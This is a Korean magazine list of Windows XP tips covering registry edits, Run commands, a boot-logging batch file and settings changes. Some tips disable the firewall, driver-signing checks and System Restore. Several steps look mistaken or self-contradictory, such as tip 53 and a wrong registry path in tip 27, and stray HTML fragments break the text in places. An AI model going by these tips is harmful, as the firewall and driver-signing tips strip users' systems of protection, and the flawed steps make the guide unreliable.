시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 오른쪽에 마우스를 놓고 새로 만들기 → DWORD 값을 고른 뒤,
‘새 값’의 이름을 NoRecentDocsMenu 라고 바꾼 뒤 마우스로 두 번 눌러 값 ‘1’을 넣는다.

문서 메뉴가 없어졌다. 메뉴가 한결 깔끔해 보인다.

7. 바탕화면에 내 컴퓨터 불러오기
윈도우즈 XP를 깔고 나면 바탕화면에 휴지통만 보인다. 윈도우즈 98처럼 바탕화면에 기본 아이콘이 보이게 하려면 바탕화면에서 오른쪽 마우스 버튼을 누른 뒤 → 속성 → 바탕화면 → 바탕화면 사용자지정을 차례로 누르고 ‘내 바탕화면에 아이콘’에서 골라 누르면 된다.

8. 휴지통을 변기통으로 바꾸자
다른 아이콘들은 이름을 바꿀 수 있지만, 휴지통은 ‘이름 바꾸기’가 없다. 하지만 PC사랑 사전에 불가능이 있던가? 휴지통 변기통으로 변신시키자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder의 오른쪽 창에 있는 attributes 키를 마우스 오른쪽 단추로 누른 뒤 ‘수정’을 고른다. ‘바이너리 값 편집’ 창의 ‘값의 데이터’ 칸에서 40 01 00 20 대신 70 01 00 20을 집어넣는다. CallForAttributes=dword:00000040 의 값만 지우자.

재 부팅하고 휴지통 위에서 마우스 오른쪽 버튼을 누르면 ‘이름 바꾸기’가 생긴다.

9. 입력 도구 모음 없애기
윈도우즈 XP ‘서비스 팩이 깔려 있다면 입력 도구 모음을 간단히 닫을 수 있지만 서비스 팩이 없다면 이것을 지울 수 없다. 입력 도구 모음은 한자를 입력할 때 편하지만 게임을 자주 하는 이들에겐 눈에 거슬릴 뿐 아무런 도움을 주지 않는다. 입력 도구를 쓰지 않는다면 이 방법으로 입력도구를 날려버리자.
제어판 → 국가 및 언어 옵션 → 언어 → 자세히 → 설치된 서비스에서 ‘추가’를 눌러 영어를 새로 넣는다. 그 다음 한글 입력기(IME2002)를 고르고 기본 설정 → 입력 도구모음에서 모든 체크를 끄면 도구가 사라진다.

10. 로그 온 할 때 예쁜 메시지 띄우기
회사, 학교 등 네트워크에 연결된 PC를 켜면 ‘로그온’ 화면이 뜬다. 이 곳에 톡톡 튀는 예쁜 메시지를 넣어보자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon을 찾는다.
오른쪽 창에서 마우스 오른쪽 버튼을 누르면 뜨는 ‘새로 만들기’ 메뉴에서 ‘문자열 값’을 고른 뒤, 문자열 이름을 LegalNoticeText 라고 써 넣고 엔터 키를 누른다. 이미 있는 파일이라면 새로 만들지 않아도 된다.
앞에서 만들어 놓은 문자열을 마우스로 두 번 누르면 ‘문자열 편집’ 대화 상자가 나타난다.
‘값 데이터’ 상자에 화면에 표시할 내용을 써 넣고 ‘확인’ 버튼을 누른다.
같은 방법으로 LegalNoticeCaption 이라는 문자열 값을 만들고 ‘값 데이터’에 메시지 상자의 제목을 적은 뒤 ‘확인’ 버튼을 누른다. PC를 껐다 켜면 메시지 상자가 표시된다.

11. URL 입력은 단축 키로 간단히!
PC사랑 홈페이지에서 지난달 기사를 찾아보고 싶을 때 주소 창에 www.ilovepc.co.kr을 모두 적지 않아도 된다. ilovepc만 쓰고 Ctrl+Enter 키를 누르면 http://www와 co.kr이 저절로 써진다.
.com로 끝나는지, co.kr이나 net으로 끝나는지 기억나지 않을 때 활용하면 편하다.

12. ‘드라이버가 맞지 않는다’는 메시지가 떠요!
윈도우즈 XP의 기본 드라이버를 쓰다가 부품 회사에서 만든 드라이버를 깔려고 하는데 ‘호환성 테스트에 통과하지 못했다’는 메시지가 종종 뜬다. MS가 테스트하지 않아 성능을 믿을 수 없다는 내용이다. 많은 드라이버가 테스트를 거치지 않았지만 쓰는 데는 이상이 없다. 그렇다면 이 메시지를 굳이 띄울 필요가 없다.
‘내 컴퓨터’를 마우스 오른쪽 버튼으로 누르고 ‘속성’을 고른 다음, ‘하드웨어’ 탭에서 ‘드라이버 서명’을 누른다. 여기서 ‘무시’를 고르면 다시는 호환성 메시지가 뜨지 않는다.

‘무시’를 고르면 드라이버를 깔 때 호환성 여부를 묻지 않는다.

13. 시스템 복원이 컴퓨터를 느려지게 한다?
‘시스템 복원’은 만일의 사고를 대비해 시스템 내용을 그대로 기억하는 것이다. 오류가 발생하면 사고가 나기 전 상태로 돌아가기 위해서다. 파일을 읽고, 쓰고, 지울 때마다 system volume information 폴더에 시스템 복원용 백업 파일이 저장된다. 이 때문에 PC 속도가 느려지는데, ‘시스템 복원’을 끄면 속도가 한결 빨라진다.
‘내 컴퓨터’ 아이콘을 마우스 오른쪽 버튼으로 누르고 ‘속성’을 고른다. 시스템 등록정보’ 창이 열리면 ‘시스템 복원’ 탭을 누른 다음 ‘시스템 복원 사용 안 함’을 고르고 ‘확인’ 버튼을 누르면 된다.

시스템 복원을 끄면 PC가 한결 빨라진다.

14. 하드가 이유 없이 데이터를 읽을 때는?
아무런 작업도 하지 않는데 드르륵~ 거리며 하드디스크를 읽는 소리가 난다. 본체의 HDD LED도 깜박인다. 왜 아무런 명령을 내리지 않은 하드디스크가 작동을 할까? ‘인덱싱 서비스’ 때문일지 모르므로 이 명령을 끈다. 인덱싱 서비스는 하드에 있는 파일을 정리해 빨리 뜨게 해주지만 명령을 꺼도 PC를 쓰는 데 별 문제가 없다.
제어판 → 관리도구 → 서비스 → indexing service → 속성 → 사용안함을 누른 뒤 재 부팅하면 하드가 잠잠해진다.

15. 바탕화면 단축 아이콘에서 화살표를 지우자
프로그램 파일과 단축 아이콘을 구분하기 위해 단축 아이콘에는 ‘화살표’가 붙어 있다. 알아보긴 쉽지만, 왠지 지저분해 보인다. 화살표를 지우자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_CLASSES_ROOT\lnkfile를 고른 뒤 오른쪽 창에서 → isshortcut를 지우면 된다.


화살표가 없어 아이콘이 깔끔하게 보인다.

16. 폴더 창을 재 빨리 연다.
탐색기에서 폴더를 이동하다보면 폴더 안에 있는 파일을 읽어 들이는 속도가 느리다는 느낌을 지울 수 없을 때가 많다. 느린 속도 때문에 답답할 때는 다음과 같이 해보자.
시작 버튼 → 설정 → 제어판 → 폴더옵션을 차례로 고른다.
‘보기’ 탭의 ‘고급설정’ 칸에서 ‘폴더 및 바탕화면 항목에 팝업 설명 표시’ ‘압축된 파일과 폴더를 다른 색으로 표시’ ‘독립된 프로세스로 폴더 창 실행’ ‘네트워크 폴더 및 프린터 자동 검색’ ‘폴더 팁에 파일 크기 정보 표시’의 체크 표시를 없앤다.

이렇게 해두면 폴더 창이 조금 더 빨리 열린다.

17. 윈도우즈 XP에서 도스 게임 하기
윈도우즈 XP는 32비트 운영체제여서 16비트 도스 게임을 누르면 실행이 되지 않고 창이 꺼져 버린다. 도스 게임을 하고 싶다면 VDM(virtual DOS machine)이란 프로그램을 내려 받아 깐다. exe 실행파일을 골라 오른쪽 마우스 단추로 메뉴를 부른 뒤 run with VDMS를 누르면 된다. VDM은 PC사랑 홈페이지 ‘프로그램 타입 캡슐’에서 내려 받을 수 있다.

윈도우즈 XP에서 추억이 담긴 게임을 즐겨보자.


TR>
18. 메신저로 파일을 받을 수 없다고?
윈도우즈 XP는 인터넷 연결 방화벽 설정 부분이 있어서 외부에서 내 PC로 접속하는 것을 막는다. 하지만 메신저나 P2P 프로그램을 쓸 때는 이 방화벽 때문에 서로 자료를 주고받지 못한다. MSN 메신저를 비롯해 메신저가 P2P 프로그램으로 자료를 주고받을 때 방화벽이 가로막으면 다음과 같이 해결한다.
바탕화면의 ‘네트워크 환경’의 ‘속성’을 연 다음 ‘로컬 영역 연결’을 한번 누른다.
마우스 오른쪽 단추를 눌러 ‘속성’을 연 뒤 고급 → 인터넷 연결 방화벽을 끈다.

인터넷 연결 방화벽을 끄면 메신저나, P2P 프로그램을 문제없이 쓸 수 있다.

19. 윈도우즈 XP에서 디스크 검사를 하자
윈도우즈는 문제가 있을 때 ‘디스크 검사’를 해 오류를 고친다. 하지만 윈도우즈 XP는 윈도우즈 98과 달리 ‘디스크 검사’ 메뉴가 따로 없다. 보조프로그램에 등록 되어 있지도 않다. 그렇다고 디스크 검사가 아예 없는 건 아니다.
내 컴퓨터 → 로컬 디스크(c:)를 오른쪽 마우스로 메뉴를 불러 ‘속성’을 누른다.
‘도구’ 탭에 가면 ‘디스크 검사’가 있다. 모든 창과 프로그램을 다 끄고 검사하도록 한다.

윈도우즈 98보다 메뉴가 간단하고 검사가 빠르다.

20. 지워도 보이는 프로그램 지우기
안 쓰는 프로그램을 제어판 → 프로그램 추가/제거에서 지우지 않고 탐색기로 폴더만 지우면 프로그램 목록에 남는다. 이것이 쌓이고 쌓이면 프로그램 설치가 안 되고, 윈도우즈까지 느려진다. 흔적이 남지 않게 깔끔하게 지워보자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall에 들어가 지울 프로그램을 골라 지우면 된다.

21. 시스템 종료 창 바꾸기
여러 이용자가 하나의 PC를 쓸 때 시스템을 켜면 시작 화면이 뜬다. 여기에는 각 이용자가 등록되어있고 누가 어떤 프로그램을 쓰는지 간단히 나와 있다. 내가 무엇을 할지 다른 사람이 보는 게 싫다면 윈도우즈 98처럼 이름만 보이므로 보안이 더 낫다. 윈도우즈 98처럼 바꿔보자.
시작 버튼 → 설정 → 제어판 → 사용자 계정을 고른 다음 ‘사용자 로그온 또는 로그오프 방법변경’을 누른다.
‘새로운 시작 화면 사용’의 체크 표시를 없애고 ‘옵션 적용’ 버튼을 누르면 로그 창이 고전적인 형태로 바뀐다.

‘새로운 시작 화면 적용’을 누르면 윈도우 98처럼 시스템 종료 창이 바뀐다.

22. 꼭꼭 숨겨진 윈도우즈 XP 관리 프로그램들
윈도우즈 XP의 시작 버튼 → 실행을 누르면 ‘실행’ 창이 열린다. 여기에 명령을 써넣으면 작업이 바로 실행된다. ‘실행’ 창에 쓸 수 있는 명령어와 하는 일은 다음과 같다.

compmgmt.msc 컴퓨터 관리와 관련 시스템 도구 창을 연다.
diskmgmt.msc 디스크 관리 창을 띄운다.
eventvwr.msc 윈도우즈 메시지가 담긴 이벤트를 본다.
gpedit.msc 도메인 또는 액티브 디렉토리나 PC에 저장되어 있는 조직 단위에 연결된 그룹 정책 개체를 편집하는 ‘로컬 컴퓨터 정책’을 연다.
perfmon.msc 시스템 성능을 감시하고 로그와 경고를 기록한다.
secpol.msc ‘로컬 보안설정’을 열어 도메인의 PC 보안 정책을 정의하게 도와준다.
devmgmt.msc 하드웨어 장치 목록을 보고 각 장치에 대한 특성을 정하는 ‘장치관리자’ 창을 연다.
dfrg.msc ‘디스크 조각모음’ 창을 연다.
fsmgmt.msc 공유 폴더를 띄운다.
lusrmgr.msc 로컬 이용자를 확인한다.
rsop.msc ‘정책의 결과 집합’ 창을 연다.
services.msc ‘서비스’ 창을 띄운다.

23. 메뉴를 빨리 빨리
제원이 낮은 PC를 쓰고 있다면 창이 뜰 때 나타나는 갖가지 효과를 없애 창을 빨리 띄워보자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_CURRENT_USER\ControlPanel\desktop에서 MenuShowDelay을 살펴보면 400
으로 되어있다. 이 값을 0으로 고쳐주면 된다.

0으로 바꾸면 메뉴가 빨리 뜬다.

24. 하드디스크 파티션 하기
윈도우즈 98에서는 ‘fdisk’라는 프로그램으로 하드디스크를 나눠 썼다. 윈도우즈 XP는 이 fdisk프로그램이 없어진 대신 파티션을 쉽게 할 수 있는 메뉴가 생겼다.
시작 → 설정 → 제어판 → 관리도구 → 컴퓨터 관리 → 디스크 관리에 들어가면 하드디스크의 갖가지 정보가 뜬다. 파티션 하려는 하드디스크에 오른쪽 마우스를 눌러 메뉴를 불러온다. 파티션 뿐 아니라 하드디스크를 매만질 수 있는 갖가지 메뉴가 있다.

윈도우즈 XP는 복잡한 하드디스크 파티션을 간단히 끝낸다.

25. 내 PC 시각이 맞지 않을 때
작업 표시 줄 오른쪽에 있는 시계를 1분 1초도 틀리지 않게 맞춰보자. 먼저 작업 표시 줄의 시계를 누르고 ‘인터넷 시간’이란 탭을 누른다. ‘인터넷 시간 서버와 자동으로 동기화’를 체크하고 ‘지금 업데이트’를 누르면 된다.

인터넷 서버에 있는 정확한 시계와 연결되어 제대로 된 시간을 보여준다.

26. 회사 이름과 이용자 이름 바꾸기
윈도우즈 XP를 처음 깔 때 넣었던 회사 이름과 이용자 이름을 바꾸고 싶다면, 레지스트리를 매만지자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 에 들어가면 RegisteredOrganization과 RegisteredOwner라는 값이 있다.
RegisteredOrganization은 회사 이름, RegisteredOwner는 사용자 이름이다.
입맛에 맞게 바꾼 뒤 재 부팅하면 바뀐다.

27. CD롬 자동 삽입 통지 막기
윈도우즈 XP는 윈도우즈 98처럼 ‘자동 삽입 통지’ 메뉴가 없다. CD롬을 넣으면 CD롬 내용이 알아서 뜨는데, 이 기능이 귀찮다면 레지스트리를 만져 끄면 된다.
시작 → 실행에서 regedit 라고 쓰고 엔터 키를 누르면 레지스트리 편집기가 뜬다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet001\Services\Cdrom에서 Autorun값을 `0`으로 하면 CD를 넣어도 CD가 자동 실행되지 않는다.

28. 인터넷 화면이 제대로 안보일 때
인터넷 게임을 하려고 하는데 화면이 제대로 뜨지 않는다면 어떻게 할까? 인터넷을 띄우면 그 사이트에 맞는 개체가 깔리는데, 이 개체가 제대로 깔리지 않을 때 이런 일이 일어난다.
제어판 → 인터넷 옵션 → 일반 탭에서 임시 인터넷 파일의 ‘설정’ 메뉴를 찾는다.
‘개체 보기’를 누르면 내 PC에 깔려 있는 갖가지 개체들이 보인다. <Ctrl + A> 키를 눌러 ‘전체 선택’을 한 뒤 Del 키를 눌러 지운다. ‘예’를 누르면 말끔히 지워진다. 다시 인터넷 사이트에 들어가면 개체가 깔리기 전에 ‘예’ ‘아니오’라는 창이 뜬다. ‘예’를 누르면 개체가 바로 깔려 인터넷 화면을 제대로 볼 수 있다.

'예‘를 눌러야 화면을 띄우는 데 필요한 개체가 깔린다.

29. ‘도움말 및 지원’ 메뉴 지우기
윈도우즈를 쓰다가 모르는 것이 있으면 ‘도움말’을 보지만 사실 별 도움이 되진 않는다. 차라리 이것을 없애면 프로그램이 띄울 때 조금 더 빨리 뜬다.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer에 간 뒤 ‘새로 만들기’ 에서 DWORD값을 만든다.
이름을 NoSMHelp으로 하자. 마우스를 두 번 눌러 데이터 값을 불러와 ‘1’이라고 넣자.
재 부팅 하면 ‘도움말 및 지원’ 메뉴가 뜨지 않는다.

30. 쓰지 않는 MSN 익스플로러 지우기
윈도우즈 XP를 처음 깔면 MSN 익스플로러가 깔려 있다. MSN 익스플로러는 MSN과 핫메일을 쓰는 사람에게 유용한 프로그램이지만 쓰지 않는다면 이 프로그램을 지워 하드디스크 용량을 늘이자.
시작 → 모든 프로그램 → MSN Explorer 아이콘에 마우스를 갖다 댄다. 오른쪽 마우스 버튼으로 메뉴를 불러와 속성을 누른다. 등록정보 창이 뜨면 ‘대상 찾기’를 누른다.
Setup 폴더를 열어 보면 msnunin이란 프로그램이 있는데, 이것이 MSN Explorer을 지우는 프로그램이다. 마우스로 두 번 눌러 시작 메뉴에 있는 내 PC에서 MSN 익스플로러를 지운다.

꼭꼭 숨어 있는 이 파일을 누르면 MSN 익스플로러가 지워진다.

31. 종료 로고만 뜨고 전원이 안 꺼질 때
‘시스템 종료’를 누르면 ‘이제 시스템 전원을 끄셔도 됩니다’라는 창만 뜨고 꺼지지 않는 일이 있다. 이럴 때 제어판 → 전원 옵션 → APM 탭으로 들어가 ‘최대 절전 모드 사용’을 체크하면 된다.

32. CD를 굽고 있는 도중 PC가 먹통이 될 때
주로 4배속 아래의 낡은 CD-RW 드라이브에서 이런 일이 생긴다.
제어판 → 시스템 → 하드웨어 탭의 ‘장치 관리자’로 들어간다.
IDE ATA, ATAPI 컨트롤러를 눌러 광학 드라이브가 꽂힌 보조 IDE 채널을 두 번 누른다. 전송모드가 DMA로 되어 있다면 PIO로 바꾼 뒤 적용을 누른다.

PIO 모드로 바꾸면 오래된 CD-RW라도 CD를 척척 구워낸다.

33. 640 × 480 해상도로 띄우기
윈도우즈 XP 제어판 → 디스플레이 등록정보를 보면 800 × 600이 가장 낮은 해상도로 되어 있지만, 640×480 해상도를 불러 올 수 있다.
제어판 → 디스플레이 → 설정의 ‘고급’ 단추를 누른다.
‘어댑터’ 탭에 들어가면 아래에 ‘모든 모드 표시’라고 되어있다. 이곳을 누르면 640×480 해상도에 256 컬러로 바꿀 수 있다.

256 컬러가 아니면 뜨지 않는 고전 게임을 즐길 때 좋다.

34. 바탕 화면 보기 아이콘 만들기
바탕화면 보기 아이콘은 모든 창을 최소화 시킬 때 편하다. 이 아이콘을 실수로 지웠다면 당황하지 말고 새로 만들어보자. 시작 → 보조프로그램 → 메모장을 열어 다음과 같이 쳐 넣는다.

[Shell]
Command = 2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

‘다른 이름으로 저장’을 고른 뒤 ‘바탕화면보기.scf'라고 저장하면 끝난다.

저장한 파일은 작업 표시 줄의 ‘빠른 실행’ 안에 끌어다 놓자.

35. 메신저 광고 메시지는 이제 그만!
인터넷 사이트에 가입하지 않았는데도 MSN 메신저를 통해 스팸 쪽지가 계속 날아온다. 이것은 사실 MSN 메신저와 아무 상관이 없다. 메시지를 보내는 이들은 무작위로 IP 주소를 뽑아 윈도우즈 NT 계열의 기본 서비스인 내부 네트워크를 이용해 광고성 쪽지를 보내는 것이다. 이 쪽지를 받지 않으려면 다음과 같이 한다.
제어판 → 관리도구 → 서비스 → Messenger에서 시작 유형을 ‘시작 안함’으로, 서비스 상태를 ‘중지’로 하면 된다.

이제 지긋지긋한 스팸 메시지가 오지 않는다.

36. 윈도우즈 포맷하기 전, 즐겨찾기 백업은 필수
윈도우즈를 포맷하고 다시 깔고 나서 해야 할 일이 너무 많다. 즐겨찾기 사이트를 일일이 다시 등록하는 일도 장난이 아니다. 하지만 즐겨찾기가 저장되는 디렉터리만 알고 있으면 이런 노가다(?)를 하지 않아도 된다.
윈도우즈를 포맷하기 전에 c:\doc-uments and settings\이용자 이름\favorites를 통째로 다른 드라이브에 복사해 놓자. 윈도우즈를 다시 깐 뒤 같은 디렉터리로 복사한다. 인터넷의 즐겨찾기를 열면 고스란히 사이트가 들어있다. 하지만 전에 저장했던 순서까지 그대로 열리는 것은 아니므로 약간 손봐야 한다.

37. 하위 폴더를 재 빨리 연다
하위 폴더를 열려면 현재 폴더를 마우스로 두 번 누르거나 그 옆에 있는 +를 고른다. 따라서 디렉토리가 여러 단계로 되어 있으면 필요한 것을 열기위해 이일을 여러 번 반복해야 한다. 하지만 맨 아래에 있는 것을 단 한번에 여는 방법이 있다.
작업하려는 폴더를 고른 뒤 숫자 키보드에 있는 * 키를 함께 누르면 아래에 있는 모든 폴더가 열린다.

38. 지운 파일 되살리기
탐색기나 내 컴퓨터에서 실수로 중요한 파일을 지우기 십상이다. 하지만 걱정하지 않아도 된다. 도구 모음에 있는 ‘실행 취소’ 버튼을 누르면 사라졌던 것이 다시 나타나기 때문이다. 단축 키는 <Ctrl + Z>다.

‘실행취소’ 버튼을 누르면 방금 전 내린 명령이 무효가 된다.

39. 파일 이름이 안 바뀌네?
아무 작업도 하지 않는데 파일 이름이 안 바뀔 때가 있다. 이럴 때 재 부팅하지 않고 이름을 바꾸는 법을 살짝 공개한다. 파일을 고른 뒤 오른 쪽 메뉴를 불러와 ‘속성’을 누른다. 이 곳에서 이름을 바꿔보자 안 바뀌던 파일 이름이 손쉽게 바뀐다.

파일 복사 중이면 이 방법을 써도 바뀌지 않는다.


TR> TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 15px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
'&w&b페이지 &p / &P'라는 부분을 지우면 된다.
TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 15px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
10진수로 바꾼 뒤 캐시를 써 넣으면 된다.
40. 내가 원하는 시각에 PC 끄기
시작 → 실행에서 ‘tsshutdn 시간(초)’을 넣자.
PC를 1분 뒤에 끌 거라면 tsshutdn 60, 1시간 뒤에 끌 거라면 tsshutdn 3600이라고 넣으면 된다. 시간이 되면 바로 종료 되는 것이 아니라 만약을 위해 30초를 더 센다.

취소하려면 꺼지기 전에 <Ctrl +C> 키를 누르면 된다.

41. 한글 자판 먹통 됐을 때
인터넷 검색을 하다가 갑자기 한글 자판이 안 먹힐 때가 있다. 이럴 때 PC를 재 부팅 하지 말고 간단하게 해결하자.
대부분 왼쪽 Alt를 한번 누른 뒤 한/영 키를 누르면 한글로 바뀐다. 이 방법이 안 되면 왼쪽 <Shift + Alt> 키와 마우스 오른쪽 버튼을 누른 뒤 한/영 키를 누르면 된다.

42. 윈도우즈 XP의 숨겨진 복사 재주
파일을 복사할 때 같은 파일이 있으면 겹쳐 쓸 것인지 물어보는 창이 뜬다. 모두 겹쳐 쓸 때 ‘모두 예’라는 항목은 편하지만, 겹쳐 쓰지 않고 이어서 복사하려면 ‘아니오’를 일일이 눌러야 된다. 이럴 때 중복된 것만 빼고 복사하는 ‘모두 아니오’가 있으면 얼마나 편할까?
윈도우즈 XP는 이런 재주가 숨겨져 있다. Shift 키를 누른 상태에서 ‘아니오’를 눌러보자. 똑같은 파일은 건너뛰고 복사 되지 않은 파일만 복사된다.

많은 파일을 복사할 때 편하다.

43. 인터넷 익스플로러 이름 바꾸기
인터넷 창 타이틀 맨 윗부분을 보면 Microsoft Internet Explorer란 꼬리표가 달려있다. 이 꼬리표 이름을 내맘대로 바꿔보자. 시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다. HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main를 찾은 뒤 편집 → 새로 만들기 한 뒤 Window Title 이라고 써 넣는다. 만들었다면 왼쪽 마우스 단추를 두 번 눌러 이름을 써 넣는다. PC를 재 부팅하면 이름이 바뀐다.


인터넷 창 위에 있던 Microsoft Internet Explorer란 글자를 내 맘대로 바꾸었다.

44. 시작 페이지 고정하기
인터넷을 하다 보면 성인사이트가 첫 페이지로 뜨는 일이 종종 있다. 인터넷 옵션에서 홈페이지를 바꿔도 계속 뜨는 사이트가 정말 짜증난다. 레지스트리를 매만져 이런 문제를 말끔히 털어버리자.
시작 → 실행에서 regedit 라고 쓰고 엔터 키를 누르면 레지스트리 편집기가 뜬다.
HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorer\Main, HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main으로 가서 둘 다 Start_Page 의 값을 처음에 띄우려는 페이지 주소로 바꾼다.
그 다음 왼쪽 창 Main 에서 오른쪽 클릭 ‘사용 권한’ 고른 뒤 쓰고 있는 계정을 고른 다음 밑에 고급 → 편집을 누른다. 값 설정에서 ‘거부’에 체크 하면 끝난다.

이 곳에서 사이트 이름을 바꾼다.

45. MSN 메신저 6의 숨겨진 이모티콘들
MSN 메신저에는 재미있는 이모티콘이 들어 있다.
메신저를 띄운 뒤 이 단어들을 채팅창에서 쳐 넣으면 재미있는 이모티콘이 뜬다.
(st) = 비
(%) = 수갑
(pl) = 접시
(ci) = 담배
(li) = 번개
(tu) = 거북이
(xx) = 엑스박스
(yn) = 검지와 중지

46. 윈도우즈의 보기 설정을 한결같이
파일 목록을 특정한 방식, 예를 들어 ‘큰 아이콘’으로 표시하거나 ‘자세한 정보’와 함께 표시할 때, 모든 폴더의 보기 옵션을 이와 같은 방식으로 두루 적용할 수가 있다.
윈도우즈 탐색기의 ‘도구’ 메뉴에서 ‘폴더 옵션’을 고른다.
‘보기’ 탭의 ‘폴더 보기’ 칸에서 ‘모든 폴더에 적용’ 버튼을 누른 다음 ‘폴더 보기’ 창이 열리고 모든 폴더에 적용할 것인지 물으면 ‘예’ 버튼을 누른다.

다른 폴더에서도 보기 옵션을 일일이 정하지 않아도 된다.

47. 드라이브 순서 바꾸기
윈도우즈 98 제어판에서 바꿀 수 있던 ‘드라이브 순서’가 윈도우즈 XP에는 없다. 하지만 꼭꼭 숨겨져 있을 뿐 바꾸지 못하는 것은 아니다.
시작 → 실행 → diskmgmt.msc를 치면 ‘디스크 관리’가 뜬다. 바꿀 드라이브를 누르고 오른쪽 단추로 메뉴를 불러온 다음 ‘드라이브 문자 및 경로 변경’을 누르면 된다. 가상 드라이브와 CD롬이 뒤죽박죽일 때 이 곳에서 순서를 바꿔 정리할 수 있다.

운영체제가 깔린 드라이브는 바꿀 수 없다.

48. 윈도우즈 미디어 플레이어 9 지우기
윈도우즈 미디어 플레이어 9는 영화를 보기에 좋지만, 실시간 방송이 뜨지 않는 일이 종종 있다. 이것은 윈도우즈 미디어 플레이어 9가 실시간 서비스인 VOD를 제대로 알아채지 못해서다.
이런 이유로 윈도우즈 미디어 플레이어 9를 지우고 종전 버전으로 돌리려면 시작 → 실행 → RunDll32 advpack.dll,LaunchINFSection %SystemRoot%INFwmp.inf,Uninstall이라고 치면 된다.

윈도우즈 미디어 플레이어 9를 깔기 전으로 돌릴 수 있다.

49. 누가 내 PC 만졌어!
내 PC가 언제 켜졌는지 남이 내 PC를 만졌는지 알 수 있는 방법이 있다.
시작 → 프로그램 → 보조프로그램의 메모장에서 다음과 같이 써 넣자.
@echo off
echo Windows 부팅 >>c:list.txt
echo %date% %time% >>c:list.txt
echo. >>c:list.txt
파일 이름을 list.bat라고 저장한 뒤 저장한 파일을 시작 프로그램에 놓는다.

c 드라이브에 들어가 list.tct 파일을 보면 PC를 켠 흔적이 남아있다.

50. 깔지마! 깔지 말란 말야!
사이트에 접속할 때마다 바탕 화면에 깔리는 아이콘을 일일이 지우는 것도 지겹다. 웹 사이트 아이콘을 바탕화면에 깔지 못하게 해보자.
제어판 → 인터넷 옵션 → 보안에서 ‘웹 컨텐트 영역’을 ‘인터넷’으로 고른다.
‘사용자 지정 수준’을 누른다. ‘바탕 화면 항목 설치’를 찾아 ‘설치 안함’을 고르면 된다.

이제 바탕화면에 웹 사이트 아이콘이 깔리지 않는다.

51. 머리글과 바닥글 없애기
인터넷 화면을 문서로 뽑으려면 파일 메뉴의 ‘인쇄’를 누르면 된다. 하지만 프린터에 http://www.ilovepc.co.kr/record_detail_read.php?NO=15879같은 경로가 같이 찍혀 나와 지저분하다. 이것이 싫으면 파일 → 페이지 설정을 눌러 ‘머리글’과 ‘바닥글’에 있는 칸을 깨끗이 지운다음 인쇄하면 된다.

52. 키보드 없이 키보드를 친다?
윈도우즈 XP는 키보드가 없이 PC를 쉽게 쓸 수 있도록 ‘화상 키보드’를 지녔다. 이것은 글자 그대로 키보드 모양을 화면에 띄워 마우스로 눌러 글자를 띄우거나 프로그램을 실행시킨다. 시작 → 프로그램 → 보조프로그램 → 내게 필요한 옵션 → 화상 키보드를 누르면 된다.

화상 키보드는 움직임이 불편한 장애자들을 위해 만든 프로그램이다.

53. 플로피디스크 읽지 마!
부팅한 뒤나 탐색기를 띄웠을 때 윈도우즈는 무작정 A 드라이브인 플로피디스크를 읽는다. 이것은 하드웨어가 잘 달려 있는지를 윈도우즈가 알아보는 것이다. 이런 일을 없애도 윈도우즈를 쓰는 데 아무런 이상이 없으므로 윈도우즈가 하드웨어를 검색하는 명령을 고치자.
제어판을 띄워 ‘관리도구’를 열고 ‘서비스’ 아이콘을 골라 shell hardware detection 항목을 두 번 누른다. ‘시작 유형’을 ‘자동’으로 맞추고 ‘확인’ 버튼을 누른다.
‘서비스’ 창에서 shell hardware detection 항목을 골라 시작 유형을 ‘자동’으로 바꾼다. 이렇게 하면 플로피디스크를 읽지 않는다.

플로피 디스크를 자주 쓰지 않는다면 ‘자동’으로 바꾸자.

54. 최대 절전 모드 해제로 하드디스크 용량을 확보하자
제어판의 ‘전원 옵션’ 가운데 최대 절전 모드를 쓰면 윈도우즈는 얼마 뒤 메모리에 담긴 데이터를 하드디스크에 저장하고 적은 전기만 쓰면서 대기모드로 들어간다. 이 때 하드디스크 용량을 500MB 정도 차지한다.
대기모드를 쓰지 않는 이에게 이 옵션은 하드디스크 용량만 잡아먹는 쓸데없는 것이다. 바탕화면에 대고 마우스 오른쪽 버튼을 눌러 ‘속성’을 눌러 ‘디스플레이 등록정보’ 창을 띄운다. 화면보호기 항목에서 ‘전원’ 버튼을 누르고 전원 옵션 등록정보를 보자. ‘최대 절전 모드’ 탭에서 체크 표시를 없앤다.

55. 응답이 없는 프로그램 빨리 닫기
윈도우 XP 응답이 없는 프로그램은 시간이 얼마 지나야 닫히게 된다. 기다린다고 응답 없는 프로그램이 다시 살아나는 것도 아니므로 이 시간을 무시하고 바로 끄자.
시작 → 실행에서 regedit 라고 쓰고 엔터키를 치면 레지스트리 편집기가 뜬다.
HKEY_CURRENT_USER\Control Panel\Desktop에서 HungAppTimeout를 왼쪽 마우스로 두 번 눌러 1000으로 고치면 된다.

56. 내가 쓰는 윈도우즈 XP가 정품일까?
